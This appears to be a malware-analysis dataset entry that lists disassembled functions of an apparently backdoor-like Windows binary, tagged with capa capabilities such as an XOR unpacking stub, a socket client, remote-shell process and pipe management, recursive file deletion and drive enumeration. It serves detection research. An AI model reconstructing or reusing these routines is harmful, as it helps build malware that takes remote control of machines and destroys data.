joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44f690
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x44f6db
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0044f82b
test al, al
jne 0x44f6d5
sub edx, 2
cmp edx, edi
jne 0x44f6bb
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x44f6fd
lea eax, [edi + 2]
cmp edx, eax
je 0x44f6fd
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0044f5dc
add esp, 0x10
jmp 0x44f7f7
push esi
lea ecx, [ebp - 0x255]
call fcn.0044f82b
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x44f740
push dword [ebp - 0x25c]
jmp 0x44f6ed
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x44f77d
cmp word [ebp - 0x226], 0
je 0x44f79e
cmp word [ebp - 0x226], ax
jne 0x44f77d
cmp word [ebp - 0x224], 0
je 0x44f79e
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0044f5dc
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x44f7ea
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x44f757
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x44f7d2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x44f7f7
push 0x44f40c
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00453c30
add esp, 0x10
jmp 0x44f7c7
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00444a17
leave
ret

Function at 0x450333
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x450344
pop esi
ret
push ebx
push edi
push esi
call fcn.004502fc
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0044c15e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x45036c
push ebx
push esi
push edi
call fcn.00446970
add esp, 0xc
push 0
call fcn.0044c124
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x45073c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00450381
Function at 0x456b60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x456b8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x456b8d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x6e5b0fee
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x4a3864b4
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4010c0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov edi, ecx
mov eax, dword [edi + 0x10]
mov dword [edi], vtable.CClientEXSocket.0
cmp eax, 0xffffffff
je 0x40114b
push 4
lea ecx, [ebp - 4]
mov dword [ebp - 4], 1
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push dword [edi + 0x10]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [edi + 0xc]
mov dword [edi + 0x10], 0xffffffff
mov dword [edi + 4], 0
test eax, eax
je 0x40114b
push 0x1388
push eax
call ebx
test eax, eax
je 0x40113f
push 0
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi + 0xc]
call esi
mov dword [edi + 0xc], 0
push 0xffffffffffffffff
push dword [edi + 0xc]
call ebx
push dword [edi + 0xc]
call esi
lea esi, [edi + 0x44]
mov dword [edi + 0xc], 0
push esi
mov dword [edi + 8], 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 0x38], 0
je 0x4011b0
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [edi + 0x38]
mov eax, dword [edi + 0x3c]
sub eax, ecx
push eax
push 0
push ecx
call fcn.00406600
mov eax, dword [edi + 0x38]
add esp, 0xc
mov dword [edi + 0x3c], eax
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
call eax
push dword [edi + 0x38]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea esi, [edi + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 0x14], 0
je 0x40121e
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
sub eax, ecx
push eax
push 0
push ecx
call fcn.00406600
mov eax, dword [edi + 0x14]
add esp, 0xc
mov dword [edi + 0x18], eax
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
call eax
push dword [edi + 0x14]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401c40
Capabilities:
Set socket configuration
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 8], eax
push 0xffffffffffffffff
push 0
mov eax, dword [esi + 0xc]
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov eax, dword [esi + 0x10]
cmp eax, 0xffffffff
je 0x401cdd
push 4
lea ecx, [ebp + 8]
mov dword [ebp + 8], 1
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esi + 0xc]
mov dword [esi + 0x10], 0xffffffff
mov dword [esi + 4], 0
test eax, eax
je 0x401cdd
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x401ccd
push 0
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xc], 0
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xc], 0
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x401d00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
mov dword [ebp - 0xc], ebx
mov ecx, 0x5678
cmp esi, 6
jne 0x401d49
mov ax, word [edx + 2]
xor ax, word [edx]
cmp ax, cx
jne 0x401d49
mov edx, dword [ebx + 0x3c]
xor eax, eax
sub edx, dword [ebx + 0x38]
mov ecx, ebx
cmp eax, edx
push edx
sbb eax, eax
and eax, dword [ebx + 0x38]
push eax
call fcn.00401f40
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
lea edi, [ebx + 0x14]
push esi
push edx
mov ecx, edi
mov dword [ebp - 8], edi
call fcn.004021a0
mov edx, dword [edi + 4]
mov eax, edx
mov ebx, dword [edi]
sub eax, ebx
cmp eax, 0xe
jbe 0x401e9f
mov esi, 6
sub edx, ebx
lea ecx, [ebx + 6]
cmp esi, edx
sbb eax, eax
and eax, ecx
lea ecx, [ebx + 2]
mov esi, dword [eax]
xor eax, eax
cmp eax, edx
mov dword [ebp - 0x10], esi
sbb eax, eax
and eax, ebx
movzx eax, word [eax]
mov dword [ebp + 0xc], eax
mov eax, 2
cmp eax, edx
sbb eax, eax
and eax, ecx
mov ecx, 0x5678
movzx eax, word [eax]
mov dword [ebp - 4], eax
xor eax, dword [ebp + 0xc]
cmp ax, cx
jne 0x401e76
cmp esi, 0xe
jl 0x401e76
cmp edx, esi
jl 0x401e9f
mov ecx, 0xe
lea eax, [ebx + 0xe]
cmp ecx, edx
sbb ecx, ecx
sub esi, 0xe
and ecx, eax
xor edx, edx
mov eax, dword [ebp + 0xc]
movzx eax, al
imul ebx, eax, 0xd
mov dword [ebp + 8], ecx
add bl, byte [ebp - 4]
test esi, esi
jle 0x401e0a
mov edi, ecx
nop dword [eax]
movzx eax, bl
lea ecx, [edi + edx]
imul ebx, eax, 0xd
mov al, dl
inc edx
add bl, 7
xor al, bl
xor byte [ecx], al
cmp edx, esi
jl 0x401df0
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
push esi
push dword [ebp + 8]
mov ecx, dword [eax + 8]
mov eax, dword [ecx]
call dword [eax]
lea esi, [edi + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [edi + 4]
mov eax, ebx
mov edx, dword [edi]
sub eax, edx
je 0x401e4f
mov ecx, dword [ebp - 0x10]
cmp ecx, 0xffffffff
cmove ecx, eax
cmp ecx, eax
cmovbe eax, ecx
add eax, edx
cmp eax, ebx
jae 0x401e4c
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
cmp eax, dword [edi + 4]
jb 0x401e41
mov dword [edi + 4], edx
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [edi + 4]
mov esi, 6
mov ebx, dword [edi]
mov eax, edx
sub eax, ebx
cmp eax, 0xe
ja 0x401d70
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea esi, [edi + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [edi]
mov eax, dword [edi + 4]
sub eax, ecx
push eax
push 0
push ecx
call fcn.00406600
mov eax, dword [edi]
add esp, 0xc
mov dword [edi + 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x401eb0
Capabilities:
Set socket configuration
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0x10]
cmp eax, 0xffffffff
je 0x401f2f
push 4
lea ecx, [ebp - 4]
mov dword [ebp - 4], 1
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esi + 0xc]
mov dword [esi + 0x10], 0xffffffff
mov dword [esi + 4], 0
test eax, eax
je 0x401f2f
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x401f1f
push 0
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xc], 0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402830
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x110]
push 0x104
push 0
push eax
call fcn.00406600
add esp, 0xc
test esi, esi
jne 0x402874
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040506d
mov esp, ebp
pop ebp
ret 8
push esi
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
mov dword [ebp - 0x158], 0x44
mov word [ebp - 0x116], ax
xorps xmm0, xmm0
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
movlpd qword [ebp - 0x154], xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
movlpd qword [ebp - 0x14c], xmm0
push eax
push 0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x13c], xmm0
movlpd qword [ebp - 0x134], xmm0
movlpd qword [ebp - 0x126], xmm0
movlpd qword [ebp - 0x11e], xmm0
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x12c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040506d
mov esp, ebp
pop ebp
ret 8
Function at 0x402930
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x49c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x498], eax
push ebx
push esi
push edi
lea eax, [esp + 0x3a0]
mov dword [esp + 0x24], ecx
push eax
push 0x100
mov byte [esp + 0x1a0], 0x2d
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xorps xmm0, xmm0
lea edi, [esp + 0x3a0]
push str.shell32.dll
movlpd qword [esp + 0x2c], xmm0
movlpd qword [esp + 0x34], xmm0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x20], eax
test eax, eax
je 0x402b49
push str.SHGetFileInfoA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x18], eax
test eax, eax
je 0x402b49
cmp byte [esp + 0x3a0], 0
mov esi, 1
je 0x402b15
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
nop word [eax + eax]
cmp esi, 0x100
jae 0x402b15
push 0x104
lea eax, [esp + 0x29c]
push 0
push eax
call fcn.00406600
add esp, 0xc
lea eax, [esp + 0x298]
push 0x104
push eax
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
push 0x160
lea eax, [esp + 0x40]
push eax
push 0x80
push edi
call dword [esp + 0x2c]
lea eax, [esp + 0x148]
push eax
call ebx
inc eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x298]
push eax
call ebx
mov cl, byte [edi]
inc eax
mov dword [esp + 0x14], eax
cmp cl, 0x41
je 0x402a89
cmp cl, 0x42
je 0x402a89
push 0
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x402a89
mov ebx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
shrd ebx, eax, 0x14
mov eax, dword [esp + 0x34]
shrd ecx, eax, 0x14
mov dword [esp + 0x10], ecx
jmp 0x402a8f
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov al, byte [edi]
push edi
mov byte [esp + esi + 0x19c], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [esp + esi + 0x199], al
mov eax, dword [esp + 0x10]
mov dword [esp + esi + 0x19e], eax
lea eax, [esp + 0x148]
mov dword [esp + esi + 0x19a], ebx
mov ebx, dword [esp + 0x1c]
push ebx
push eax
lea eax, [esp + 0x1aa]
add eax, esi
push eax
call fcn.00407d00
push dword [esp + 0x20]
lea eax, [esp + 0x2a8]
push eax
lea ecx, [esp + 0x1b6]
lea eax, [ebx + esi]
add eax, ecx
push eax
call fcn.00407d00
mov eax, dword [esp + 0x2c]
add esp, 0x18
add ebx, 0xa
add eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esi, eax
push edi
call ebx
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x4029d0
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x198]
push esi
push eax
mov ecx, dword [ecx + 8]
call fcn.00401f40
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x498]
xor ecx, esp
call fcn.0040506d
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x4a4]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040506d
mov esp, ebp
pop ebp
ret
Function at 0x402b70
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x21c]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push str._s.
push eax
mov dword [ebp - 0x360], ecx
call edi
add esp, 0xc
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402c4f
cmp byte [ebp - 0x330], 0x2e
je 0x402c17
test byte [ebp - 0x35c], 0x10
lea eax, [ebp - 0x330]
push eax
push esi
lea eax, [ebp - 0x114]
push str._s_s
push eax
je 0x402c05
call edi
mov ecx, dword [ebp - 0x360]
lea eax, [ebp - 0x114]
add esp, 0x10
push eax
call fcn.00402b70
jmp 0x402c17
call edi
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x35c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402bc6
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040506d
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040506d
mov esp, ebp
pop ebp
ret 4

Function at 0x402c70
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, ecx
push 0x104
push 0
mov dword [ebp - 8], eax
lea edi, [eax + 0x34]
push edi
call fcn.00406600
mov esi, dword [ebp + 8]
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
call ebx
cmp eax, 0x103
ja 0x402d4c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402d4c
lea eax, [ebp + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
lea ebx, [eax + 0xa]
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x402d4c
push ebx
push 0
push edi
call fcn.00406600
add esp, 0xc
mov byte [edi], 0x2f
mov eax, dword [ebp + 8]
mov dword [edi + 1], eax
mov eax, dword [ebp - 4]
push esi
mov dword [edi + 5], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [edi + 9]
push esi
push eax
call fcn.00407d00
mov ecx, dword [ebp - 8]
add esp, 0xc
mov ecx, dword [ecx + 8]
push ebx
push edi
call fcn.00401f40
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402dd0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x114]
push 0x104
push 0
push eax
mov dword [ebp - 0x364], ecx
call fcn.00406600
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x41c9ec
mov ebx, 0x41c98c
cmp byte [eax + edi - 1], 0x5c
lea eax, [ebp - 0x114]
cmovne ebx, ecx
push ebx
push edi
push str._s_s.
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x360], eax
cmp eax, 0xffffffff
jne 0x402e70
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040506d
mov esp, ebp
pop ebp
ret 4
cmp byte [ebp - 0x330], 0x2e
je 0x402f0d
test byte [ebp - 0x35c], 0x10
je 0x402eb4
lea eax, [ebp - 0x330]
push eax
push ebx
push edi
lea eax, [ebp - 0x21c]
push str._s_s_s
push eax
call esi
mov ecx, dword [ebp - 0x364]
lea eax, [ebp - 0x21c]
add esp, 0x14
push eax
call fcn.00402dd0
jmp 0x402f07
push 0x104
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 0x368], esi
test esi, esi
je 0x402f01
lea eax, [ebp - 0x330]
push eax
push ebx
push edi
push str._s_s_s
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp - 0x364]
lea eax, [ebp - 0x368]
add esp, 0x14
lea ecx, [ecx + 0xc]
push eax
call fcn.00403080
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [ebp - 0x360]
lea ecx, [ebp - 0x35c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
mov eax, dword [ebp - 0x360]
jne 0x402e70
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040506d
mov esp, ebp
pop ebp
ret 4

Function at 0x403230
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
sub eax, 0
je 0x40325d
sub eax, 0x21
je 0x403251
sub eax, 2
jne 0x403278
mov dword [0x41f8c4], eax
pop ebp
ret 8
push 0
push 0
push ecx
push 0x403280
jmp 0x403267
push 0
push 0
push ecx
push 0x403300
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
ret 8
Function at 0x403420
Capabilities:
Encode data using xor
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x20b]
mov byte [ebp - 0x20c], 0
push 0
push eax
call fcn.00406600
add esp, 0xc
xorps xmm0, xmm0
movq qword [ebp - 0x214], xmm0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x41f8cc], eax
lea edi, [ebp - 0x4a0]
mov ecx, 0xa3
mov esi, 0x41f8c8
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x4a0], eax
test eax, eax
je 0x4034b8
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
imul eax, eax, 0x59
add eax, 0xfd
xor byte [ebp + ecx - 0x498], al
inc ecx
cmp ecx, 0x284
jb 0x4034a0
push 0xec
lea eax, [ebp - 0xf0]
push 0
push eax
call fcn.00406600
add esp, 0xc
mov dword [ebp - 0x104], 0x9ea5e074
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x100], 0xfa5590e8
xor dword [ebp - 0x102], 0xa9dbabdb
mov dword [ebp - 0xfc], 0x7139daf5
xor dword [ebp - 0xfe], 0x8ac6b814
push 0x104
push eax
lea eax, [ebp - 0x108]
mov dword [ebp - 0xf8], 0x55683f2f
xor dword [ebp - 0xfa], 0x6f622517
mov dword [ebp - 0x108], 0xe4cd7425
xor dword [ebp - 0x106], 0xbc5194a0
mov dword [ebp - 0xf4], 0x205dbb
xor dword [ebp - 0xf6], 0x5de65568
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403591
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040506d
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x4a4]
push eax
push 0x28c
lea eax, [ebp - 0x4a0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0040506d
mov esp, ebp
pop ebp
ret
Function at 0x403fb0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, ecx
push 0
push dword [edi + 0x24]
mov dword [edi], vtable.CShellEXManager.0
call esi
push 0
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push dword [edi + 0x20]
call esi
push 0x7d0
push dword [edi + 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [edi + 0x28]
call esi
mov eax, dword [edi + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40400a
push eax
call ebx
push dword [edi + 0xc]
call esi
mov eax, dword [edi + 0x10]
test eax, eax
je 0x404019
push eax
call ebx
push dword [edi + 0x10]
call esi
mov eax, dword [edi + 0x14]
test eax, eax
je 0x404028
push eax
call ebx
push dword [edi + 0x14]
call esi
mov eax, dword [edi + 0x18]
test eax, eax
je 0x404037
push eax
call ebx
push dword [edi + 0x18]
call esi
push dword [edi + 0x1c]
call esi
push dword [edi + 0x20]
call esi
push dword [edi + 0x28]
call esi
push dword [edi + 0x24]
call esi
pop edi
pop esi
pop ebx
ret